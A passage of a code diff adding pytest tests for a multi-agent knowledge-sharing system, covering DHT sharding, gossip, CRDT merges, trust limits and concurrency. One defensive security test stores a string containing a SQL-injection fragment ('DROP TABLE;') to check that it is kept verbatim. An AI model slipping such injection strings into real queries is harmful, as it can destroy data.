restored = BloomFilter.from_bytes(raw, expected_items=50) + assert restored.might_contain("alpha") + assert restored.might_contain("beta") + assert restored.might_contain("gamma") + + def test_zero_expected_items_handled(self) -> None: + bf = BloomFilter(expected_items=0) + bf.add("test") + assert bf.might_contain("test") + + def test_size_bytes_positive(self) -> None: + bf = BloomFilter(expected_items=1000) + assert bf.size_bytes > 0 + + +class TestDHTEdgeCases: + """Edge cases for DHT routing and shard storage.""" + + def test_hash_ring_empty_returns_empty(self) -> None: + ring = HashRing() + assert ring.get_agents("any_key") == [] + assert ring.get_primary_agent("any_key") is None + + def test_hash_ring_add_remove_agent(self) -> None: + ring = HashRing() + ring.add_agent("agent_1") + assert ring.agent_count == 1 + ring.remove_agent("agent_1") + assert ring.agent_count == 0 + + def test_hash_ring_duplicate_add_idempotent(self) -> None: + ring = HashRing() + ring.add_agent("a1") + ring.add_agent("a1") + assert ring.agent_count == 1 + + def test_hash_ring_replication_returns_distinct_agents(self) -> None: + ring = HashRing(replication_factor=3) + for i in range(5): + ring.add_agent(f"agent_{i}") + agents = ring.get_agents("test_key") + assert len(agents) == 3 + assert len(set(agents)) == 3 # All distinct + + def test_shard_store_dedup_by_content(self) -> None: + store = ShardStore("a1") + f1 = ShardFact(fact_id="f1", content="same content") + f2 = ShardFact(fact_id="f2", content="same content") + assert store.store(f1) is True + assert store.store(f2) is False # Duplicate content + assert store.fact_count == 1 + + def test_shard_store_search_empty_returns_empty(self) -> None: + store = ShardStore("a1") + assert store.search("anything") == [] + + def test_shard_store_search_filters_retracted(self) -> None: + store = ShardStore("a1") + f = ShardFact(fact_id="f1", content="retractable fact", tags=["retracted"]) + store.store(f) + assert store.search("retractable") == [] + + def test_dht_router_store_and_query(self) -> None: + router = DHTRouter(replication_factor=2) + router.add_agent("a1") + router.add_agent("a2") + fact = ShardFact( + fact_id="f1", content="DNA stores genetic information", + concept="biology", confidence=0.9, + ) + stored_on = router.store_fact(fact) + assert len(stored_on) >= 1 + results = router.query("DNA genetic") + assert len(results) >= 1 + + def test_dht_router_remove_agent_returns_facts(self) -> None: + router = DHTRouter(replication_factor=1) + router.add_agent("a1") + fact = ShardFact(fact_id="f1", content="orphan fact", concept="t") + router.store_fact(fact) + orphans = router.remove_agent("a1") + assert len(orphans) >= 1 + + def test_dht_router_get_stats(self) -> None: + router = DHTRouter() + router.add_agent("a1") + stats = router.get_stats() + assert stats["agent_count"] == 1 + assert "shard_sizes" in stats + + +class TestFactLifecycleEdgeCases: + """Edge cases for fact lifecycle (TTL, decay, GC).""" + + def test_decay_zero_hours_returns_original(self) -> None: + assert decay_confidence(0.9, 0.0) == 0.9 + + def test_decay_negative_hours_returns_original(self) -> None: + assert decay_confidence(0.9, -5.0) == 0.9 + + def test_decay_clamps_to_range(self) -> None: + # Very high original + result = decay_confidence(5.0, 0.0) + assert result <= 1.0 + # Very negative original + result = decay_confidence(-1.0, 0.0) + assert result >= 0.0 + + def test_decay_exponential_formula(self) -> None: + original = 1.0 + hours = 10.0 + rate = 0.1 + expected = original * math.exp(-rate * hours) + result = decay_confidence(original, hours, rate) + assert abs(result - expected) < 1e-10 + + def test_gc_removes_expired_facts(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + fact = HiveFact(fact_id="f1", content="old fact", concept="t") + hive.promote_fact("a1", fact) + registry = {"f1": FactTTL(fact_id="f1", created_at=0.0)} # Very old + removed = gc_expired_facts(hive, registry, max_age_hours=1.0, now=100000.0) + assert "f1" in removed + assert hive.get_fact("f1").status == "retracted" + + def test_gc_keeps_fresh_facts(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + now = time.time() + fact = HiveFact(fact_id="f1", content="fresh", concept="t") + hive.promote_fact("a1", fact) + registry = {"f1": FactTTL(fact_id="f1", created_at=now)} + removed = gc_expired_facts(hive, registry, max_age_hours=24.0, now=now) + assert removed == [] + + def test_refresh_confidence_resets_ttl(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + hive.promote_fact("a1", HiveFact(fact_id="f1", content="t", concept="t")) + registry = {"f1": FactTTL(fact_id="f1", created_at=0.0)} + now = 1000.0 + result = refresh_confidence(hive, registry, "f1", 0.95, now=now) + assert result is True + assert registry["f1"].created_at == now + assert hive.get_fact("f1").confidence == 0.95 + + def test_refresh_missing_fact_returns_false(self) -> None: + hive = InMemoryHiveGraph("test") + registry: dict = {} + assert refresh_confidence(hive, registry, "nonexistent", 0.9) is False + + +class TestRerankerEdgeCases: + """Edge cases for reranker scoring functions.""" + + def test_hybrid_score_with_defaults(self) -> None: + score = hybrid_score(1.0, 1.0) + assert score > 0 + + def test_hybrid_score_zero_inputs(self) -> None: + assert hybrid_score(0.0, 0.0) == 0.0 + + def test_rrf_merge_empty_lists(self) -> None: + result = rrf_merge() + assert result == [] + + def test_rrf_merge_single_list(self) -> None: + facts = [ + HiveFact(fact_id="f1", content="a", confidence=0.9), + HiveFact(fact_id="f2", content="b", confidence=0.8), + ] + result = rrf_merge(facts) + assert len(result) == 2 + assert result[0].score > result[1].score + + def test_rrf_merge_deduplicates_across_lists(self) -> None: + f1 = HiveFact(fact_id="f1", content="a") + f2 = HiveFact(fact_id="f2", content="b") + list_a = [f1, f2] + list_b = [f2, f1] # Same facts, different order + result = rrf_merge(list_a, list_b) + fact_ids = [r.fact.fact_id for r in result] + assert len(fact_ids) == 2 + + def test_trust_weighted_score_normalizes_trust(self) -> None: + # Trust of 2.0 should normalize to 1.0 + score_max = trust_weighted_score(1.0, 2.0, 1.0) + score_min = trust_weighted_score(1.0, 0.0, 1.0) + assert score_max > score_min + + def test_hybrid_score_weighted_zero_confirmations(self) -> None: + score = hybrid_score_weighted(0.8, 0, 1.0) + assert score > 0 # Semantic and trust still contribute + + def test_hybrid_score_weighted_high_confirmations(self) -> None: + low = hybrid_score_weighted(0.5, 0, 1.0) + high = hybrid_score_weighted(0.5, 10, 1.0) + assert high > low + + +class TestQualityEdgeCases: + """Edge cases for quality scoring.""" + + def test_empty_content_scores_zero(self) -> None: + assert score_content_quality("") == 0.0 + assert score_content_quality(" ") == 0.0 + + def test_very_short_content_penalized(self) -> None: + short_score = score_content_quality("hi") + long_score = score_content_quality( + "DNA stores genetic information in a double helix structure" + ) + assert long_score > short_score + + def test_vague_content_penalized(self) -> None: + vague = score_content_quality("something stuff things whatever probably idk") + specific = score_content_quality( + "The mitochondria produces ATP through oxidative phosphorylation" + ) + assert specific > vague + + def test_quality_gate_should_promote(self) -> None: + gate = QualityGate(promotion_threshold=0.1) + assert gate.should_promote( + "DNA stores genetic information", "genetics" + ) is True + + def test_quality_gate_blocks_low_quality(self) -> None: + gate = QualityGate(promotion_threshold=0.99) + assert gate.should_promote("x", "t") is False + + def test_quality_gate_caches_scores(self) -> None: + gate = QualityGate() + s1 = gate.score("test content for caching", "test") + s2 = gate.score("test content for caching", "test") + assert s1 == s2 + + +class TestGossipEdgeCases: + """Edge cases for gossip protocol.""" + + def test_gossip_no_peers_returns_empty(self) -> None: + hive = InMemoryHiveGraph("source") + result = run_gossip_round(hive, []) + assert result == {} + + def test_gossip_no_eligible_facts_returns_empty(self) -> None: + source = InMemoryHiveGraph("source") + peer = InMemoryHiveGraph("peer") + # No facts in source + result = run_gossip_round(source, [peer]) + assert result.get("peer", []) == [] + + def test_gossip_skips_duplicate_content(self) -> None: + source = InMemoryHiveGraph("source") + source.register_agent("a1") + peer = InMemoryHiveGraph("peer") + peer.register_agent("p1") + + # Same fact in both hives + source.promote_fact("a1", HiveFact( + fact_id="f1", content="shared fact", concept="t", confidence=0.9 + )) + peer.promote_fact("p1", HiveFact( + fact_id="f2", content="shared fact", concept="t", confidence=0.9 + )) + + result = run_gossip_round(source, [peer]) + # Should share 0 facts since peer already has the content + shared = result.get("peer", []) + assert len(shared) == 0 + + def test_convergence_empty_hives(self) -> None: + assert convergence_check([]) == 0.0 + + def test_convergence_single_hive(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + hive.promote_fact("a1", HiveFact(fact_id="f1", content="test", concept="t")) + assert convergence_check([hive]) == 1.0 + + def test_convergence_identical_hives(self) -> None: + hives = [] + for i in range(3): + h = InMemoryHiveGraph(f"hive_{i}") + h.register_agent(f"agent_{i}") + h.promote_fact(f"agent_{i}", HiveFact( + fact_id=f"f_{i}", content="identical content", concept="t" + )) + hives.append(h) + assert convergence_check(hives) == 1.0 + + def test_convergence_disjoint_hives(self) -> None: + hives = [] + for i in range(3): + h = InMemoryHiveGraph(f"hive_{i}") + h.register_agent(f"agent_{i}") + h.promote_fact(f"agent_{i}", HiveFact( + fact_id=f"f_{i}", content=f"unique content {i}", concept="t" + )) + hives.append(h) + assert convergence_check(hives) == 0.0 + + def test_gossip_protocol_custom_config(self) -> None: + protocol = GossipProtocol(top_k=5, fanout=1, min_confidence=0.8) + source = InMemoryHiveGraph("source") + source.register_agent("a1") + peer = InMemoryHiveGraph("peer") + peer.register_agent("p1") + + # Add a low-confidence fact (below min_confidence) + source.promote_fact("a1", HiveFact( + fact_id="f1", content="low confidence fact", concept="t", confidence=0.5 + )) + + result = run_gossip_round(source, [peer], protocol) + # Low confidence fact should not be gossipped + assert result.get("peer", []) == [] + + +# =========================================================================== +# Section 2: ORCHESTRATOR INTEGRATION TESTS +# =========================================================================== + + +class TestOrchestratorIntegration: + """Integration tests for HiveMindOrchestrator with multiple components.""" + + def test_multi_agent_event_propagation(self) -> None: + """Two orchestrators sharing an event bus should exchange facts.""" + hive = InMemoryHiveGraph("shared") + hive.register_agent("agent_a") + hive.register_agent("agent_b") + bus = LocalEventBus() + bus.subscribe("agent_a") + bus.subscribe("agent_b") + + orch_a = HiveMindOrchestrator("agent_a", hive, bus) + orch_b = HiveMindOrchestrator("agent_b", hive, bus) + + # Agent A stores a fact + orch_a.store_and_promote("Biology", "Cells have membranes", 0.9) + + # Agent B drains events and should incorporate + results = orch_b.drain_events() + incorporated = [r for r in results if r["incorporated"]] + assert len(incorporated) >= 1 + + def test_orchestrator_gossip_with_peers(self) -> None: + """Gossip should propagate facts to peer hives.""" + source_hive = InMemoryHiveGraph("source") + source_hive.register_agent("agent_a") + peer_hive = InMemoryHiveGraph("peer") + peer_hive.register_agent("peer_agent") + bus = LocalEventBus() + bus.subscribe("agent_a") + + orch = HiveMindOrchestrator( + "agent_a", source_hive, bus, peers=[peer_hive] + ) + orch.store_and_promote("Science", "Water boils at 100C", 0.95) + result = orch.run_gossip_round() + # Gossip should have attempted to contact the peer + assert isinstance(result["peers_contacted"], int) + + def test_orchestrator_tags_propagated(self) -> None: + """Tags should be preserved through store_and_promote.""" + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + bus = LocalEventBus() + bus.subscribe("a1") + bus.subscribe("listener") + + orch = HiveMindOrchestrator("a1", hive, bus) + orch.store_and_promote("Bio", "DNA test", 0.9, tags=["important", "verified"]) + + events = bus.poll("listener") + assert len(events) >= 1 + payload = events[0].payload + assert "important" in payload["tags"] + assert "verified" in payload["tags"] + + def test_orchestrator_query_unified_sorted_by_confidence(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + bus = LocalEventBus() + bus.subscribe("a1") + orch = HiveMindOrchestrator("a1", hive, bus) + + orch.store_and_promote("Sci", "Low confidence claim about physics", 0.4) + orch.store_and_promote("Sci", "High confidence claim about physics", 0.99) + + results = orch.query_unified("physics claim") + if len(results) >= 2: + assert results[0]["confidence"] >= results[1]["confidence"] + + def test_process_event_missing_content_rejected(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + bus = LocalEventBus() + bus.subscribe("a1") + orch = HiveMindOrchestrator("a1", hive, bus) + + event = make_event("FACT_PROMOTED", "agent_b", { + "concept": "Test", + "confidence": 0.9, + # Missing "content" + }) + result = orch.process_event(event) + assert result["incorporated"] is False + assert "missing" in result["reason"] + + def test_process_event_missing_concept_rejected(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + bus = LocalEventBus() + bus.subscribe("a1") + orch = HiveMindOrchestrator("a1", hive, bus) + + event = make_event("FACT_PROMOTED", "agent_b", { + "content": "Some content", + "confidence": 0.9, + # Missing "concept" + }) + result = orch.process_event(event) + assert result["incorporated"] is False + + +# =========================================================================== +# Section 3: SECURITY TESTS +# =========================================================================== + + +class TestSecurityBoundaries: + """Security-focused tests for boundary violations and input sanitization.""" + + def test_trust_cannot_exceed_maximum(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1", trust=999.0) + assert hive.get_agent("a1").trust == MAX_TRUST_SCORE + + def test_trust_cannot_go_negative(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1", trust=-10.0) + assert hive.get_agent("a1").trust == 0.0 + + def test_peer_confidence_discount_applied(self) -> None: + """Peer facts must always be discounted to prevent trust escalation.""" + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + bus = LocalEventBus() + bus.subscribe("a1") + orch = HiveMindOrchestrator("a1", hive, bus) + + event = make_event("FACT_PROMOTED", "malicious_peer", { + "concept": "exploit", + "content": "Malicious fact with max confidence", + "confidence": 1.0, + "tags": [], + }) + result = orch.process_event(event) + if result["incorporated"]: + facts = hive.query_facts("Malicious fact") + peer_facts = [f for f in facts if "peer_from:malicious_peer" in f.tags] + for f in peer_facts: + assert f.confidence <= PEER_CONFIDENCE_DISCOUNT + + def test_large_payload_handled(self) -> None: + """Large payloads should not crash the system.""" + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + bus = LocalEventBus() + bus.subscribe("a1") + orch = HiveMindOrchestrator("a1", hive, bus) + + large_content = "x" * 100_000 # 100KB content + result = orch.store_and_promote("Large", large_content, 0.5) + assert result["promoted"] is True + + def test_special_characters_in_content(self) -> None: + """Special characters should not break queries or storage.""" + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + special_chars = 'Content with "quotes", , & symbols; DROP TABLE;' + fact = HiveFact(fact_id="f1", content=special_chars, concept="test") + fid = hive.promote_fact("a1", fact) + retrieved = hive.get_fact(fid) + assert retrieved.content == special_chars + + def test_unicode_content_handled(self) -> None: + """Unicode content should be stored and retrieved correctly.""" + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + unicode_content = "DNA存储遗传信息 🧬 données génétiques" + fact = HiveFact(fact_id="f1", content=unicode_content, concept="genetics") + fid = hive.promote_fact("a1", fact) + retrieved = hive.get_fact(fid) + assert retrieved.content == unicode_content + + def test_empty_agent_id_not_exploitable(self) -> None: + """Empty agent IDs should not cause weird behavior.""" + hive = InMemoryHiveGraph("test") + # Registering an empty string agent should work but not collide + hive.register_agent("") + hive.register_agent("real_agent") + assert hive.get_agent("") is not None + assert hive.get_agent("real_agent") is not None + + def test_event_self_delivery_blocked(self) -> None: + """An agent should never receive its own events via the bus.""" + bus = LocalEventBus() + bus.subscribe("attacker") + # Attacker publishes an event + event = make_event("FACT_PROMOTED", "attacker", {"data": "self"}) + bus.publish(event) + # Should not receive own event + assert bus.poll("attacker") == [] + + def test_bloom_filter_false_positive_rate_acceptable(self) -> None: + """BloomFilter FPR should stay within configured bounds.""" + bf = BloomFilter(expected_items=10000, false_positive_rate=0.01) + for i in range(10000): + bf.add(f"item_{i}") + + false_positives = 0 + test_count = 10000 + for i in range(test_count): + if bf.might_contain(f"nonexistent_{i}"): + false_positives += 1 + + fpr = false_positives / test_count + # Allow 3x the configured FPR as safety margin + assert fpr < 0.03, f"FPR too high: {fpr:.4f}" + + +# =========================================================================== +# Section 4: CONCURRENCY & THREAD SAFETY TESTS +# =========================================================================== + + +class TestConcurrency: + """Thread safety tests for concurrent operations.""" + + def test_concurrent_promote_facts(self) -> None: + """Multiple threads promoting facts simultaneously should not corrupt state.""" + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + errors: list[Exception] = [] + num_threads = 10 + facts_per_thread = 50 + + def promote_facts(thread_id: int) -> None: + try: + for i in range(facts_per_thread): + fact = HiveFact( + fact_id=f"t{thread_id}_f{i}", + content=f"Thread {thread_id} fact {i}", + concept="concurrency", + confidence=0.8, + ) + hive.promote_fact("a1", fact) + except Exception as e: + errors.append(e) + + threads = [ + threading.Thread(target=promote_facts, args=(i,)) + for i in range(num_threads) + ] + for t in threads: + t.start() + for t in threads: + t.join() + + assert errors == [], f"Errors during concurrent promote: {errors}" + assert hive.get_stats()["fact_count"] == num_threads * facts_per_thread + + def test_concurrent_event_bus_publish_poll(self) -> None: + """Concurrent publish and poll should not lose events or deadlock.""" + bus = LocalEventBus() + num_agents = 5 + events_per_agent = 20 + for i in range(num_agents): + bus.subscribe(f"agent_{i}") + + errors: list[Exception] = [] + total_received: list[int] = [0] + lock = threading.Lock() + + def publisher(agent_id: str) -> None: + try: + for i in range(events_per_agent): + event = make_event("TEST", agent_id, {"i": i}) + bus.publish(event) + except Exception as e: + errors.append(e) + + def poller(agent_id: str) -> None: + try: + time.sleep(0.1) # Let publishers start + events = bus.poll(agent_id) + with lock: + total_received[0] += len(events) + except Exception as e: + errors.append(e) + + threads = [] + for i in range(num_agents): + threads.append(threading.Thread(target=publisher, args=(f"agent_{i}",))) + for i in range(num_agents): + threads.append(threading.Thread(target=poller, args=(f"agent_{i}",))) + + for t in threads: + t.start() + for t in threads: + t.join() + + assert errors == [], f"Errors in concurrent bus operations: {errors}" + + def test_concurrent_crdt_merge(self) -> None: + """Concurrent CRDT merges should converge without data loss.""" + sets = [ORSet() for _ in range(5)] + errors: list[Exception] = [] + + # Each set adds unique items + for i, s in enumerate(sets): + for j in range(20): + s.add(f"set{i}_item{j}") + + def merge_pair(a: ORSet, b: ORSet) -> None: + try: + a.merge(b) + except Exception as e: + errors.append(e) + + # Merge all pairs concurrently + threads = [] + for i in range(len(sets)): + for j in range(i + 1, len(sets)): + t = threading.Thread(target=merge_pair, args=(sets[i], sets[j])) + threads.append(t) + for t in threads: + t.start() + for t in threads: + t.join() + + assert errors == [] + + def test_concurrent_hash_ring_add_remove(self) -> None: + """Concurrent add/remove on HashRing should not corrupt state.""" + ring = HashRing() + errors: list[Exception] = [] + + def add_agents(start: int) -> None: + try: + for i in range(start, start + 10): + ring.add_agent(f"agent_{i}") + except Exception as e: + errors.append(e) + + def remove_agents(start: int) -> None: + try: + time.sleep(0.01) # Let adds start first + for i in range(start, start + 5): + ring.remove_agent(f"agent_{i}") + except Exception as e: + errors.append(e) + + threads = [ + threading.Thread(target=add_agents, args=(0,)), + threading.Thread(target=add_agents, args=(10,)), + threading.Thread(target=remove_agents, args=(0,)), + ] + for t in threads: + t.start() + for t in threads: + t.join() + + assert errors == [] + # ring should have agents 5-19 remaining + assert ring.agent_count > 0 + + +# =========================================================================== +# Section 5: HIVE GRAPH TTL INTEGRATION +# =========================================================================== + + +class TestHiveGraphTTL: + """Tests for InMemoryHiveGraph with TTL enabled.""" + + def test_ttl_enabled_registers_metadata(self) -> None: + hive = InMemoryHiveGraph("test", enable_ttl=True) + hive.register_agent("a1") + fid = hive.promote_fact("a1", HiveFact( + fact_id="f1", content="decaying fact", concept="t", confidence=0.9 + )) + assert fid == "f1" + assert "f1" in hive._ttl_registry + + def test_gc_removes_old_facts(self) -> None: + hive = InMemoryHiveGraph("test", enable_ttl=True) + hive.register_agent("a1") + # Manually set a very old created_at + fact = HiveFact( + fact_id="old_fact", content="ancient fact", concept="t", + created_at=0.0, + ) + hive.promote_fact("a1", fact) + removed = hive.gc() + assert "old_fact" in removed + + def test_gc_keeps_fresh_facts(self) -> None: + hive = InMemoryHiveGraph("test", enable_ttl=True) + hive.register_agent("a1") + hive.promote_fact("a1", HiveFact( + fact_id="fresh", content="new fact", concept="t" + )) + removed = hive.gc() + assert "fresh" not in removed + + def test_gc_disabled_returns_empty(self) -> None: + hive = InMemoryHiveGraph("test", enable_ttl=False) + assert hive.gc() == [] + + +# =========================================================================== +# Section 6: CRDT MERGE STATE INTEGRATION +# =========================================================================== + + +class TestHiveGraphMergeState: + """Tests for InMemoryHiveGraph.merge_state() CRDT integration.""" + + def test_merge_state_copies_new_facts(self) -> None: + hive_a = InMemoryHiveGraph("a") + hive_a.register_agent("a1") + hive_b = InMemoryHiveGraph("b") + hive_b.register_agent("b1") + + hive_a.promote_fact("a1", HiveFact( + fact_id="fa1", content="fact from a", concept="t" + )) + hive_b.promote_fact("b1", HiveFact( + fact_id="fb1", content="fact from b", concept="t" + )) + + hive_a.merge_state(hive_b) + assert hive_a.get_fact("fb1") is not None + assert hive_a.get_fact("fb1").content == "fact from b" + + def test_merge_state_syncs_trust(self) -> None: + hive_a = InMemoryHiveGraph("a") + hive_a.register_agent("shared_agent") + hive_b = InMemoryHiveGraph("b") + hive_b.register_agent("shared_agent") + hive_b.update_trust("shared_agent", 1.8) + + hive_a.merge_state(hive_b) + # After merge, trust should be the latest value + assert hive_a.get_agent("shared_agent").trust >= 1.0 + + def test_merge_state_retract_syncs(self) -> None: + hive_a = InMemoryHiveGraph("a") + hive_a.register_agent("a1") + hive_b = InMemoryHiveGraph("b") + hive_b.register_agent("b1") + + # Both have same fact + for h, agent in [(hive_a, "a1"), (hive_b, "b1")]: + h.promote_fact(agent, HiveFact( + fact_id="shared", content="shared fact", concept="t" + )) + + # Retract in b + hive_b.retract_fact("shared") + + # Merge: b's retraction should propagate to a + hive_a.merge_state(hive_b) + # ORSet add-wins: since a still has the fact added, it may remain + # The key point is the merge doesn't crash + assert isinstance(hive_a.get_fact("shared").status, str) + + +# =========================================================================== +# Section 7: HIVE GRAPH COSINE SIMILARITY +# =========================================================================== + + +class TestCosineSimEdgeCases: + """Edge cases for the _cosine_sim helper in InMemoryHiveGraph.""" + + def test_cosine_sim_empty_vectors(self) -> None: + hive = InMemoryHiveGraph("test") + assert hive._cosine_sim([], []) == 0.0 + + def test_cosine_sim_zero_vectors(self) -> None: + hive = InMemoryHiveGraph("test") + assert hive._cosine_sim([0, 0, 0], [0, 0, 0]) == 0.0 + + def test_cosine_sim_identical_vectors(self) -> None: + hive = InMemoryHiveGraph("test") + sim = hive._cosine_sim([1, 2, 3], [1, 2, 3]) + assert abs(sim - 1.0) < 1e-9 + + def test_cosine_sim_orthogonal_vectors(self) -> None: + hive = InMemoryHiveGraph("test") + sim = hive._cosine_sim([1, 0], [0, 1]) + assert abs(sim) < 1e-9 + + def test_cosine_sim_dimension_mismatch_raises(self) -> None: + hive = InMemoryHiveGraph("test") + with pytest.raises(ValueError, match="dimension mismatch"): + hive._cosine_sim([1, 2], [1, 2, 3]) + + +# =========================================================================== +# Section 8: PROMOTION POLICY EDGE CASES +# =========================================================================== + + +class TestPromotionPolicyEdgeCases: + """Edge cases for DefaultPromotionPolicy.""" + + def test_exactly_at_threshold_promotes(self) -> None: + policy = DefaultPromotionPolicy(promote_threshold=0.5) + fact = HiveFact(fact_id="f1", content="t", concept="t", confidence=0.5) + assert policy.should_promote(fact, "a1") is True + + def test_just_below_threshold_blocks(self) -> None: + policy = DefaultPromotionPolicy(promote_threshold=0.5) + fact = HiveFact( + fact_id="f1", content="t", concept="t", + confidence=0.4999999, + ) + assert policy.should_promote(fact, "a1") is False + + def test_zero_threshold_promotes_everything(self) -> None: + policy = DefaultPromotionPolicy( + promote_threshold=0.0, + gossip_threshold=0.0, + broadcast_threshold=0.0, + ) + fact = HiveFact(fact_id="f1", content="t", concept="t", confidence=0.0) + assert policy.should_promote(fact, "a1") is True + assert policy.should_gossip(fact, "a1") is True + assert policy.should_broadcast(fact, "a1") is True + + def test_retracted_always_blocked(self) -> None: + policy = DefaultPromotionPolicy( + promote_threshold=0.0, + gossip_threshold=0.0, + broadcast_threshold=0.0, + ) + fact = HiveFact( + fact_id="f1", content="t", concept="t", + confidence=1.0, status="retracted", + ) + assert policy.should_promote(fact, "a1") is False + assert policy.should_gossip(fact, "a1") is False + assert policy.should_broadcast(fact, "a1") is False + + +# =========================================================================== +# Section 9: EVENT BUS FACTORY +# =========================================================================== + + +class TestEventBusFactory: + """Tests for create_event_bus factory.""" + + def test_create_local_bus(self) -> None: + from amplihack.agents.goal_seeking.hive_mind.event_bus import create_event_bus + + bus = create_event_bus("local") + assert isinstance(bus, LocalEventBus) + bus.close() + + def test_create_unknown_backend_raises(self) -> None: + from amplihack.agents.goal_seeking.hive_mind.event_bus import create_event_bus + + with pytest.raises(ValueError, match="Unknown event bus backend"): + create_event_bus("kafka") + + +# =========================================================================== +# Section 10: DATA MODEL EDGE CASES +# =========================================================================== + + +class TestDataModels: + """Tests for data model defaults and edge cases.""" + + def test_hive_fact_defaults(self) -> None: + fact = HiveFact(fact_id="f1", content="test") + assert fact.concept == "" + assert fact.confidence == 0.8 + assert fact.source_agent == "" + assert fact.tags == [] + assert fact.status == "promoted" + assert fact.embedding is None + assert fact.created_at > 0 + + def test_hive_agent_defaults(self) -> None: + agent = HiveAgent(agent_id="a1") + assert agent.domain == "" + assert agent.trust == 1.0 + assert agent.fact_count == 0 + assert agent.status == "active" + + def test_hive_edge_defaults(self) -> None: + edge = HiveEdge(source_id="s1", target_id="t1", edge_type="PROMOTED") + assert edge.properties == {} + + def test_shard_fact_defaults(self) -> None: + sf = ShardFact(fact_id="f1", content="test") + assert sf.concept == "" + assert sf.confidence == 0.8 + assert sf.source_agent == "" + assert sf.tags == [] + assert sf.ring_position == 0 + + def test_scored_fact_defaults(self) -> None: + sf = ScoredFact(fact="dummy", score=0.5) + assert sf.source == "unknown" + + def test_gossip_protocol_defaults(self) -> None: + gp = GossipProtocol() + assert gp.top_k == 10 + assert gp.fanout == 2 + assert gp.min_confidence == GOSSIP_MIN_CONFIDENCE + + def test_fact_ttl_defaults(self) -> None: + ttl = FactTTL(fact_id="f1") + assert ttl.ttl_seconds == 86400.0 + assert ttl.confidence_decay_rate == 0.01 + assert ttl.created_at > 0 diff --git a/tests/hive_mind/test_dht_shard_cross_query.py b/tests/hive_mind/test_dht_shard_cross_query.py new file mode 100644 index 000000000..bdb162f6a --- /dev/null +++ b/tests/hive_mind/test_dht_shard_cross_query.py @@ -0,0 +1,1052 @@ +"""Integration test: DHT shard cross-agent query round-trip. + +Validates the SHARD_QUERY/SHARD_RESPONSE event-driven protocol using +LocalEventBus. Each agent has its own DistributedHiveGraph shard. +No sleep or poll intervals — facts are dispatched synchronously using +LocalEventBus mailbox semantics. +""" + +from __future__ import annotations + +import threading +import time +import uuid +from typing import Any + +from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + DistributedHiveGraph, + ServiceBusShardTransport, + _search_for_shard_response, +) +from amplihack.agents.goal_seeking.hive_mind.event_bus import LocalEventBus, make_event +from amplihack.agents.goal_seeking.hive_mind.hive_graph import HiveFact + + +def _make_fact(content: str, concept: str, agent_id: str, confidence: float = 0.9) -> HiveFact: + return HiveFact( + fact_id="", + content=content, + concept=concept, + confidence=confidence, + source_agent=agent_id, + tags=[concept], + created_at=time.time(), + ) + + +def _sync_cross_shard_query( + requester_id: str, + query: str, + shards: dict[str, DistributedHiveGraph], + bus: LocalEventBus, + limit: int = 10, +) -> list[dict]: + """Synchronous cross-shard query via SHARD_QUERY/SHARD_RESPONSE protocol. + + Publishes SHARD_QUERY, each peer processes it synchronously and publishes + SHARD_RESPONSE, then requester collects all responses. No sleep needed. + """ + correlation_id = uuid.uuid4().hex + agent_names = list(shards.keys()) + + # Publish SHARD_QUERY (delivered to all peers, not to requester itself) + query_event = make_event( + event_type="SHARD_QUERY", + source_agent=requester_id, + payload={"query": query, "limit": limit, "correlation_id": correlation_id}, + ) + bus.publish(query_event) + + # Each peer shard drains mailbox and publishes SHARD_RESPONSE + for agent_id in agent_names: + if agent_id == requester_id: + continue + for event in bus.poll(agent_id): + if event.event_type == "SHARD_QUERY": + facts = shards[agent_id].query_facts( + event.payload["query"], limit=event.payload.get("limit", limit) + ) + response = make_event( + event_type="SHARD_RESPONSE", + source_agent=agent_id, + payload={ + "correlation_id": event.payload["correlation_id"], + "facts": [ + {"content": f.content, "confidence": f.confidence} for f in facts + ], + }, + ) + bus.publish(response) + + # Requester collects all SHARD_RESPONSE events + results: list[dict] = [] + for event in bus.poll(requester_id): + if ( + event.event_type == "SHARD_RESPONSE" + and event.payload.get("correlation_id") == correlation_id + ): + results.extend(event.payload.get("facts", [])) + + # Include requester's own local shard + local_facts = shards[requester_id].query_facts(query, limit=limit) + results.extend({"content": f.content, "confidence": f.confidence} for f in local_facts) + + return results + + +class TestDHTShardCrossQuery: + """Cross-shard query round-trip via event-driven protocol.""" + + def setup_method(self): + self.bus = LocalEventBus() + self.shards: dict[str, DistributedHiveGraph] = {} + for name in ["agent-0", "agent-1", "agent-2"]: + shard = DistributedHiveGraph(hive_id=f"shard-{name}", enable_gossip=False) + shard.register_agent(name) + self.shards[name] = shard + self.bus.subscribe(name) + + def teardown_method(self): + self.bus.close() + + def test_agent1_gets_agent0_facts_via_shard_query(self): + """agent-1 querying content agent-0 learned returns correct facts.""" + # agent-0 learns its content + fact = _make_fact("Paris is the capital of France", "geography", "agent-0") + self.shards["agent-0"].promote_fact("agent-0", fact) + + # agent-1 knows nothing about geography + agent1_local = self.shards["agent-1"].query_facts("capital France", limit=10) + assert len(agent1_local) == 0, "agent-1 should have no local geography facts" + + # Cross-shard query: agent-1 asks about agent-0's content via event bus + results = _sync_cross_shard_query( + requester_id="agent-1", + query="capital France", + shards=self.shards, + bus=self.bus, + ) + + texts = [r["content"] for r in results] + assert any("Paris" in t or "capital" in t for t in texts), ( + f"Expected Paris/capital in results, got: {texts}" + ) + + def test_each_agent_owns_only_its_partition(self): + """With replication_factor=1, total stored == total promoted (no replication). + + DHT routes each fact to exactly one shard based on content hash. + The combined storage across all shards equals the total facts promoted. + """ + # Use replication_factor=1 so each fact goes to exactly one shard + shards_rf1: dict[str, DistributedHiveGraph] = {} + bus2 = LocalEventBus() + for name in ["agent-0", 